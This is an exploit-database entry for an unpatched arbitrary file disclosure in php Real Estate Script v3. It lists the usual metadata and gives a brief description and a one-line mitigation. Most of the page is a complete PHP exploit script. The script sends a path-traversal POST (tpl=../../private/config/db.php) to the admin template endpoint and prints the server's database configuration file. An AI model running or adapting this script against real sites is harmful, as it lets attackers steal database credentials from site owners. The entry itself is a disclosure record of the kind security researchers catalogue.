header-logo
Suggest Exploit
vendor:
Real Estate Script
by:
Meisam Monsef
7,5
CVSS
HIGH
Arbitrary File Disclosure
200
CWE
Product Name: Real Estate Script
Affected Version From: v.3
Affected Version To: v.3
Patch Exists: NO
Related CWE: N/A
CPE: a:realestatescript:real_estate_script:3
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2016

php Real Estate Script Arbitrary File Disclosure

This exploit allows an attacker to read the db.php file of the php Real Estate Script v.3 by sending a POST request to the admin/ajax_cms/get_template_content/ page with the tpl parameter set to the path of the file.

Mitigation:

Ensure that the application is not vulnerable to arbitrary file disclosure.
Source

Exploit-DB raw data:

# Exploit Title: php Real Estate Script Arbitrary File Disclosure
# Date: 2016-07-08
# Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com
# Vendor Homepage: http://www.realestatescript.eu/
# Version: v.3
# Download Link : http://www.realestatescript.eu/downloads/realestatescript-v3.zip

Exploit : 
<?php
//read db config file 
$post_data = 'tpl=../../private/config/db.php';//change read file path
$host = "www.server.local";//change victim address
$socket = fsockopen($host, 80, $errno, $errstr, 15);
if(!$socket){
echo ' error: ' . $errno . ' ' . $errstr;
die;
}else{
//change [demo/en] path server
$path = "/demo/en/";
$http  = "POST {$path}admin/ajax_cms/get_template_content/ HTTP/1.1\r\n";
$http .= "Host: $host\r\n";
$http .= "Content-Type: application/x-www-form-urlencoded\r\n";
$http .= "Content-length: " . strlen($post_data) . "\r\n";
$http .= "Connection: close\r\n\r\n";
$http .= $post_data . "\r\n\r\n";
fwrite($socket, $http);
$contents = "";
while (!feof($socket)) {
$contents .= fgets($socket, 4096);
}
fclose($socket);
$e = explode('Content-Type: text/html',$contents);
print $e[1];
}
?>